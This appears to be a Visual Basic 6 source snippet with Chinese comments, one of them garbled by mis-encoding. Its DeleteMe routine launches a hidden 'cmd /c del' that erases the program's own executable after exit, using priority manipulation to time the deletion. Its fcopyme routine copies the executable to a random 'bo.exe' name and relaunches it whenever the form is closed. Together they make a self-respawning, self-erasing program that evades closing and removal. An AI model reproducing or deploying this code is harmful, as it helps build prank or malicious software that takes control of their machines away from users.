Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hWnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Const NORMAL_PRIORITY_CLASS = &H20
Private Const REALTIME_PRIORITY_CLASS = &H100
Private Const THREAD_PRIORITY_NORMAL = 0
Private Const THREAD_PRIORITY_IDLE = -15
Private Const IDLE_PRIORITY_CLASS = &H40
Private Const DETACHED_PROCESS = &H8
Private Const CREATE_SUSPENDED = &H4
Private Const THREAD_PRIORITY_TIME_CRITICAL = 15
Private Const SW_HIDE = 0
Private Const STARTF_USESHOWWINDOW = &H1
Private Type STARTUPINFO
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Long
hStdInput As Long
hStdOutput As Long
hStdError As Long
End Type
Private Type PROCESS_INFORMATION
hProcess As Long
hThread As Long
dwProcessId As Long
dwThreadId As Long
End Type
Private Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As Long
bInheritHandle As Long
End Type
Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long
Private Declare Function GetEnvironmentVariable Lib "kernel32" Alias "GetEnvironmentVariableA" (ByVal lpName As String, ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Declare Function GetShortPathName Lib "kernel32" Alias "GetShortPathNameA" (ByVal lpszLongPath As String, ByVal lpszShortPath As String, ByVal cchBuffer As Long) As Long
Private Declare Function GetCurrentProcess Lib "kernel32" () As Long
Private Declare Function GetCurrentThreadId Lib "kernel32" () As Long
Private Declare Function SetPriorityClass Lib "kernel32" (ByVal hProcess As Long, ByVal dwPriorityClass As Long) As Long
Private Declare Function SetThreadPriority Lib "kernel32" (ByVal hThread As Long, ByVal nPriority As Long) As Long
Private Declare Function ResumeThread Lib "kernel32" (ByVal hThread As Long) As Long
Private Declare Function GetCurrentThread Lib "kernel32" () As Long
Private Declare Function CreateProcess Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As SECURITY_ATTRIBUTES, lpThreadAttributes As SECURITY_ATTRIBUTES, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
Public Function DeleteMe() As Boolean
Dim szModule As String
Dim szComspec As String
Dim szParams As String
Dim si As STARTUPINFO
Dim pi As PROCESS_INFORMATION
Dim sa1 As SECURITY_ATTRIBUTES
Dim sa2 As SECURITY_ATTRIBUTES
szModule = String(512, 0)
szComspec = String(512, 0)
szParams = String(512, 0)
'// get file path names:
If ((GetModuleFileName(0, szModule, 512) <> 0) And (GetShortPathName(szModule, szModule, 512) <> 0) And (GetEnvironmentVariable("COMSPEC", szComspec, 512) <> 0)) Then
'// set command shell parameters
szComspec = Left(szComspec, InStr(szComspec, Chr(0)) - 1)
szModule = Left(szModule, InStr(szModule, Chr(0)) - 1)
szComspec = szComspec & " /c del " & """" & szModule & """" '硂ń琌и(yfdyh000)эや盿隔畖
' szComspec = szComspec & " /c del " & szModule'絏
'// set struct members
With si
.cb = Len(si)
.dwFlags = STARTF_USESHOWWINDOW
.wShowWindow = SW_HIDE
End With
'// increase resource allocation to program
Call SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS)
Call SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL)
'// invoke command shell
'Debug.Print CreateProcess(vbNullString, szComspec, sa1, sa2, 0&, CREATE_SUSPENDED Or DETACHED_PROCESS, 0&, vbNullString, si, pi)
If CreateProcess(vbNullString, szComspec, sa1, sa2, 0, CREATE_SUSPENDED Or DETACHED_PROCESS, 0, vbNullString, si, pi) Then
'// suppress command shell process until program exits
Call SetPriorityClass(pi.hProcess, IDLE_PRIORITY_CLASS)
Call SetThreadPriority(pi.hThread, THREAD_PRIORITY_IDLE)
'// resume shell process with new low priority
Call ResumeThread(pi.hThread)
'// everything seemed to work
DeleteMe = True
Exit Function
Else '// if error, normalize allocation
Call SetPriorityClass(GetCurrentProcess(), NORMAL_PRIORITY_CLASS)
Call SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_NORMAL)
End If
End If
DeleteMe = False
End Function
Function fcopyme()
Dim f As String
Dim m As String
Randomize
f = App.Path & "/" & App.EXEName & ".exe"
n = Int(Rnd(1) * 100)
m = App.Path & "/" & n & "bo.exe"
d = m '這個bo.exe大家可以改下名，隨便改。
FileCopy f, d
ShellExecute Me.hWnd, "open", d, "", "", vbNormalFocus
End Function
Private Sub Form_Unload(Cancel As Integer)
On Error Resume Next
Call fcopyme
Call DeleteMe
End Sub